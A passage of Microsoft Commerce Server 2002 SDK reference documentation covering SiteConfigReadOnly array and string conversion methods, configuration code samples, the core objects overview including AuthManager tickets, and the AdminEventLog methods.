[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtArray parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002 EE. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string
‘ read from the Fields property
' vArray is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vArray = oSiteConfigReadOnly.MakeArrayFromString(vEncoded)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeSimpleListFromArray Method [C++]

SiteConfigReadOnly.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _SiteConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the SimpleList object to convert.
iSimpleList [C++]
[out, retval] The address of a IDispatch interface pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(vMyArray)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeStringFromArray Method [C++]

SiteConfigReadOnly.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a Variant used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtEncodedString parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromArray(vArray)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeStringFromSimpleList Method [C++]

SiteConfigReadOnly.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] The address of a BSTR used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The strEncodedString parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly Properties [C++]

SiteConfigReadOnly Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.


_SiteConfigReadOnly::get_Fields Property [C++]

SiteConfigReadOnly.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields object contents hold the configuration settings of the site and its resources.

Definition

[C++]
HRESULT _SiteConfigReadOnly::get_Fields(
  Fields** Fields
);
[Visual Basic]
Property Fields As Object

Parameters

Fields [C++]
[out] The address into which this method will write a pointer to the Fields object used to return site and resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++]

The Fields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfigReadOnly Object

[C++] _SiteConfigReadOnly::Initialize

[Visual Basic] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly.Initialize


Example Code for Configuration Objects

This section provides detailed examples of how to use the configuration objects.

Examples

Example | Description
Code to Dump Configuration Values | Describes how to use the AppConfig object to retrieve site configuration values.
Code to Create a Site | Describes how to create a site.
Code to Create and Manipulate a Global Resource | Describes how to create and manipulate a global resource.
Code to Create and Manipulate a Site-Level Resource | Describes how to create and manipulate a site-level resource.
Code to Export a Resource | Describes how to export a resource.
Code to Import a Resource | Describes how to import a resource.
Code to Retrieve Web Site Properties | Describes how to read the contents of a server-side file and write those contents to the browser.


Code to Dump Configuration Values

In this example, an instance of the AppConfig object is instantiated, then initialized to the name of the installed site (in this case, "Retail"). The GetOptionsDictionary method is called, and each key/value pair in the dictionary is written to the Web page.

The ASP example code follows.

  1. Create the AppConfig object instance and initialize it to the name of the installed site. In this example, a site named "Retail" already exists.
    Dim MSCSAppConfig
Set MSCSAppConfig = Server.CreateObject("Commerce.AppConfig")
MSCSAppConfig.Initialize("Retail")
  2. Create a dictionary object to hold the return value of the GetOptionsDictionary method, and dump the dictionary contents to the Web page.
    Dim dConfig
set dConfig = MSCSAppConfig.GetOptionsDictionary("")
For Each sKey in dConfig
    Response.Write sKey & " = " & dConfig.Value(sKey) & "<br>"
Next


Code to Create a Site

In this example, an instance of the GlobalConfig object is instantiated, then initialized. An application named "NewSite" is created and saved.

Create this example using the following Microsoft Visual Basic code.

  1. Create the GlobalConfig and initialize it.
    Dim oGlobConfig
Set oGlobConfig = CreateObject("Commerce.GlobalConfig")
oGlobConfig.Initialize
  2. Create a new application. The CreateSiteConfig method creates a site named "NewSite" and returns a SiteConfig object that contains the site configuration settings. After the site is created, save the configuration settings.
    Dim oSiteConfig
Set oSiteConfig = oGlobConfig.CreateSiteConfig("NewSite")
oGlobConfig.SaveConfig


Code to Create and Manipulate a Global Resource

In this example, a global resource is created for the site created in Code to Create a Site. Resource settings are retrieved, changed, retrieved again, and written to the screen. Create the example using the following Visual Basic code.

  1. Create the global resource. The schema class name is "MSCS_Predictor", as this example is creating a Predictor resource. After the resource is created, save the configuration settings.
    Dim oPredictor
oGlobConfig.CreateServiceConfig "oPredictor", "MSCS_Predictor"
oGlobConfig.SaveConfig
  2. Retrieve and change a property in the Predictor resource at the global level. This property, on creation, defaults to True. It will be retrieved, displayed, set to False, retrieved, and displayed again.
    Dim x, y
Set x = oGlobConfig.Fields("oPredictor").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value before change"

' Assign a new property value
y = False
x.Fields("f_UseExternalDB").Value = y
' Save the settings
oGlobConfig.SaveConfig
Set x = oGlobConfig.Fields("oPredictor").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after change"


Code to Create and Manipulate a Site-Level Resource

In this example, a site-level resource is created for the site created in Code to Create a Site. Resource settings are retrieved, changed, retrieved again, and written to the screen. Create the example using the following Visual Basic code.

  1. Create the site-level resource to the site named "NewSite". The schema class name is "MSCS_Predictor", as this example is creating a Predictor resource. After the resource is created, save the configuration settings.
    Dim oPredictorAtSiteLevel
oSiteConfig.CreateComponentConfig "oPredictorAtSiteLevel", _
    "MSCS_Predictor"
  2. Retrieve and change a property in the Predictor resource at the site level. This property, on creation, defaults to True. It will be retrieved, displayed, set to False, retrieved, and displayed again.
    Dim x, y
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value before change"
' Assign a new property value
y = False
x.Fields("f_UseExternalDB").Value = y
' Save the settings
'oSiteConfig.SaveConfig
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after change"


Code to Export a Resource

In this example, the site-level resource that was created in Code to Create and Manipulate a Site-Level Resource is exported to the file C:\temp\ExportedFile.txt. The resource is then deleted, and the deletion operation results are saved.

  1. Export the site-level Predictor resource to the file C:\ExportedFile.txt
    oSiteConfig.ExportResource "oPredictorAtSiteLevel", _
    "c:\ExportedFile.txt"
  2. Delete the site level Predictor resource and save the deletion operation results.
    oSiteConfig.DeleteComponentConfig "oPredictorAtSiteLevel"
oSiteConfig.SaveConfig


Code to Import a Resource

In this example, the site-level Predictor resource that was exported in Code to Export a Resource is now imported. The code tests that it exists by displaying a resource property.

oSiteConfig.ImportResource "c:\ExportedFile.txt"
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after import"


Code to Retrieve Web Site Properties

The following example enumerates all the Web sites on a server, then for each Web site, it obtains the site properties and displays the VrPath property. Create the example using the following Visual Basic code.

  1. Create the required objects.
    Dim oWebServer, WebSites, oDict
Set oWebServer = CreateObject("Commerce.AdminWebServer")
  2. Call the GetWebSites method of the AdminWebServer object instance. The method returns an array of integers representing all server instances.
    WebSites = oWebServer.GetWebSites
  3. Return the WebInstance properties in a dictionary, and then display the dictionary values.
    For WebInstance = (LBound(WebSites, 1) + 1) To (UBound(WebSites, 1) + 1)
    Set oDict = oWebServer.GetWebSiteProperties(WebInstance)
    Dim ArrStr(100), i
    i = 1
    For Each property In oDict
    ArrStr(i) = property & " = " & oDict.Value(property)
        str1 = str1 & ArrStr(i) & vbCrLf
        i = i + 1
    Next
    MsgBox str1
    str1 = ""
Next


Core Objects

The core objects perform a variety of functions including writing error and warning events to the event log, retrieving Web site properties, storing name/value pairs, generating globally unique identifiers (GUIDs), retrieving the contents of server-side files, and securing the site.

The Core Objects Programming Concepts topic describes the major issues relating to the use of the general purpose objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminEventLog | AdminEventLog | Writes error, informational, warning, and success messages to the event log.
AdminFiles | AdminFiles | Provides read-only access to server-side binary and text files.
AppFrameWork | AppFrameWork | Provides formatting and validation methods that simplify forms processing in Active Server Pages (ASP).
AuthManager | AuthManager | Provides a secure, standardized, and extensible way to manage authentication of users.
BizDeskSecurity | BizDeskSecurity | Allows specific Commerce Server Business Desk modules to be hidden from particular users.
DataFunctions | DataFunctions | Provides methods to perform locale-based data type handling and value range checking.
DBStorage | DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
Dictionary | Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
DictionaryXMLTransforms | DictionaryXMLTransforms | Transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
EuroDisplay | EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
GenID | GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters which are persisted in a database.
MessageManager | MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
SimpleList | SimpleList | Allows creation of an array of Variants that supports enumeration.

Examples

Example | Description
Code to Write an Error Event to the Commerce Server Event Log | Describes how to write an error event to the Commerce Server 2002 event log.
Code to Read and Display the Contents of a Server-Side File | Describes how to read the contents of a server-side file and write those contents to the browser.
Code to Dump Dictionary Values | Describes how to dump the contents of a Dictionary object.
Code to Create and Manipulate a SimpleList | Describes how to create and work with the SimpleList object.
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object
Code to Generate a GUID | Describes how to generate a globally unique identifier (GUID).
Code to Control Display of a Business Desk Module | Describes how to control whether a specified Business Desk module is displayed to the current user.
Code to Create and Initialize AuthManager | Describes how to instantiate and initialize the AuthManager object.
Code to Manipulate Site Configuration Properties | Describes how to change CS Authentication resource properties.
Code to Retrieve Login Credentials | Describes how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.
Code to Set a New MSCSProfile Ticket | Describes how to create an MSCSProfile ticket.
Code to Retrieve a Profile and Set an MSCSAuth Ticket | Describes how to retrieve a profile using the Commerce Server Profiles resource, and set an MSCSAuth ticket.
Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket | Describes how to retrieve the user ID and password submitted on a HTML form using the Post method, get the profile corresponding to the user ID using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL.
Code to Set a Custom Property on a Ticket | Describes how to create a globally unique identifier (GUID) string and place it on an MSCSAuth ticket as a guid property.
Code to Generate an Encoded URL String | Describes how to generate an encoded URL string from a file name.
Code to Apply Data Type Conversion and Range Checking | Describes how to perform locale-based data type conversion and range validation.
Code to Manipulate and Display Euro Values | Describes how to use the EuroDisplay object to convert currency amounts.
Code to Convert Between Numbers and Strings | Describes how to use the conversion functions of the DataFunctions object.
Code to Display Locale-Specific Strings | Describes how to use locale-based conversion functions of the DataFunctions object.
Code to Manage Common Error Messages to Users | Describes how to add languages and messages to the MessageManager object, and how to write messages to a Web browser.


Core Object Programming Concepts

The following objects are considered general purpose, and can be used in many contexts within Commerce Server:

  • AdminEventLog Object
  • AdminFiles Object
  • AppFrameWork Object
  • AuthManager Object
  • BizDeskSecurity Object
  • DataFunctions Object
  • Dictionary Object
  • EuroDisplay Object
  • GenID Object
  • MessageManager Object
  • SimpleList Object

AdminEventLog Object

The AdminEventLog object is used to write error, informational, and warning messages to the event log, which can be viewed in the Commerce Server Manager Event Viewer snap-in.

For more information, see AdminEventLog Object.

AdminFiles Object

The AdminFiles object is used to return the contents of a file on the server. The file contents can be of any type, such as text, bitmaps, numeric data, and so on.

For more information, see AdminFiles Object.

AppFrameWork Object

The AppFrameWork object replaces much of the functionality of the Page object, the latter of which will not be supported in future releases. The Page object must be created on every page; in contrast, the AppFrameWork object has better performance because it is created once in the Global.asa file and can be used on any page.

The majority of the methods for the AppFrameWork object have names that begin with Request. These methods apply locale-based data type conversion and data range checking to data retrieved from a browser request. There are two ways to send data from a browser to a server: Data can be appended to the request URL as a query string (for example, http://servername/mysite/default.asp?keyword=books) or it can be posted via forms. Performing these operations on user input ensures that the input data retrieved by an Active Server Pages (ASP) page can be inserted without error into the database storage for the site or passed to the Order Processing pipeline (OPP) in an OrderForm object without generating pipeline or page syntax errors.

Object Dependencies

Because the Request methods of the AppFrameWork and Page object rely on the DataFunctions object for method implementation, you must create the DataFunctions object before you create an AppFrameWork object or a Page object.

The following table shows the values returned by Request methods under different conditions.

Condition | Method returns
The key/value pair is present on request and is valid. | The key value returned from the URL query string or form-post variable.
The value returned is empty or Null (for example, the user did not type a value for a search key), or the value is of the wrong type. | The default value (Null, or the value specified by the Default parameter).
The value returned is out of the specified range. | Null.
The value returned is invalid according to the rules for the locale. | Null.

AuthManager Object

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings. For more information, see AuthManager Object.

Authentication uses tickets, a string of property/value pairs, to provide information about the user. Two types of tickets are supported, an MSCSAuth ticket and an MSCSProfile ticket. Their differences are summarized in the following table.

Characteristics | MSCSAuth | MSCSProfile
Storage | Session cookie/encoded URL string | Persistent cookie/encoded URL string
User Type | Registered | Anonymous
Contents | Unique user ID, last login time, time window | Unique user ID

In this context, registered refers to a user who has successfully completed a registration process for the relevant site.

The AuthManager object provides methods to place the ticket into a cookie, if cookies are enabled on the client, or, if cookies are not enabled, into an encoded URL string. When used with the AuthFilter ISAPI filter, cookies must be enabled.

For an MSCSAuth ticket, the AuthManager object can check the validity of the ticket using the IsAuthenticated method. This method checks whether the request from the user contains an MSCSAuth ticket. If it does, the method checks the current time against the last login time set on the ticket to see if it is within the time window specified in the ticket. If it is, the method returns True, indicating a valid MSCSAuth ticket. If the current time is within five minutes of the last login time plus the time window, the last login time on the ticket is changed to the current time so the active user can remain browsing.

A user may have both types of tickets. In this case, the MSCSAuth ticket takes precedence.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and Web sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object must be used with ASP since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user sessions. The AuthManager object should be created and destroyed on each ASP page.

BizDeskSecurity Object

The Commerce Server Business Desk security infrastructure allows individual Business Desk modules to be displayed or hidden, depending on the credentials of the user. The CanUserAccess method of the BizDeskSecurity object returns True if the current user has read access rights for a specified Business Desk module. This method retrieves the access rights for the user from the access control list (ACL) for the file. For more information, see BizDeskSecurity Object.

The Active Server Pages (ASP) file corresponding to a Business Desk module is found in the id attribute of the module element of the XML file for the module. The XML file for each module is found in the Config folder located under the Business Desk application folder. For more information about the XML format, see Module Configuration Files.

DataFunctions Object

The DataFunctions object performs locale-based data type handling and value range checking on values that you submit to the database or that you pass in an OrderGroup object to the Order Processing pipeline (OPP).

The DataFunctions object is usually created in the Global.asa file. Use the Active Server Pages (ASP) Server object CreateObject method to create a DataFunctions object, as follows:

Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Initialize the object after instantiation
MSCSDataFunctions.Locale = dictConfig.i_SiteDefaultLocale

Also, store the new object in the Application object in the Global.asa file, as follows:

Set Application("MSCSDataFunctions") = MSCSDataFunctions

The AppFrameWork and Page objects have a direct dependency on the DataFunctions object; the DataFunctions object must be created before an AppFrameWork object or a Page object is created.

Dictionary Object

A Commerce Server Dictionary object is a collection object that supports the creation, storage, and retrieval of key/value pairs in memory. Every element in a Dictionary object is a Variant, which means you can create a Dictionary object that consists of almost any kind of values (including other Dictionary objects), and that you can store any combination of Variant types in the same Dictionary object.

The Commerce Server architecture uses the Dictionary object for a number of specialized purposes, including the SiteConfig object. However, because a Dictionary object is designed to be a general purpose collection, you can use it for almost anything that its internal structure supports.

For more information, see Dictionary Object.

EuroDisplay Object

The EuroDisplay object can be used to convert and format currencies. It was originally designed to handle use of the Euro currency, but it can be used for conversion between any two currencies. This object provides convenient currency conversion functionality.

GenID Object

This object is used to generate globally unique identifiers (GUIDs).

For more information, see GenID Object.

MessageManager Object

The MessageManager object stores error messages in multiple languages that the Order Processing pipeline (OPP) components use to describe error conditions generated during OrderForm object processing.

SimpleList Object

A Commerce Server SimpleList object consists of an array of Variants that supports enumeration and access by index. The SimpleList object is used extensively throughout Commerce Server. Use a SimpleList object instead of a Dictionary object in circumstances where accessing the stored content by index is important.

For more information, see SimpleList Object.


AdminEventLog Object [C++]

AdminEventLog Object [Visual Basic]

Use this object to write error, informational, and warning messages to the event log.

ProgID: | Commerce.AdminEventLog (Externally creatable)
COM Class Name: | AdminEventLog
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminEventLog
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminEventLog interface to access the methods of the AdminEventLog object.

Methods

[C++]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.
[Visual Basic]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.


AdminEventLog Methods [C++]

AdminEventLog Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.
[Visual Basic]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.


IAdminEventLog::Initialize Method [C++]

AdminEventLog.Initialize Method [Visual Basic]

Use this method to initialize the object.

Definition

[C++]
HRESULT IAdminEventLog::Initialize(
  BSTR bstrServer
);
[Visual Basic]
Sub Initialize(
  bstrServer As String
)

Parameters

bstrServer [C++]
[in] A BSTR that contains the server name.
bstrServer [Visual Basic]
A String that contains the server name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.Initialize("ServerName")

See Also

[C++] AdminEventLog Object

[Visual Basic] AdminEventLog Object


IAdminEventLog::WriteErrorEvent Method [C++]

AdminEventLog.WriteErrorEvent Method [Visual Basic]

Use this method to write an error event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteErrorEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteErrorEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the error event message string.
bstrMessage [Visual Basic]
A String that contains the error event message string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteErrorEvent("MySite", _
                               "Database does not exist")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteInformationalEvent

[C++] IAdminEventLog::WriteWarningEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteInformationalEvent

[Visual Basic] AdminEventLog.WriteWarningEvent


IAdminEventLog::WriteInformationalEvent Method [C++]

AdminEventLog.WriteInformationalEvent Method [Visual Basic]

Use this method to write an informational event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteInformationalEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteInformationalEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the informational event message string.
bstrMessage [Visual Basic]
A String that contains the informational event message string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

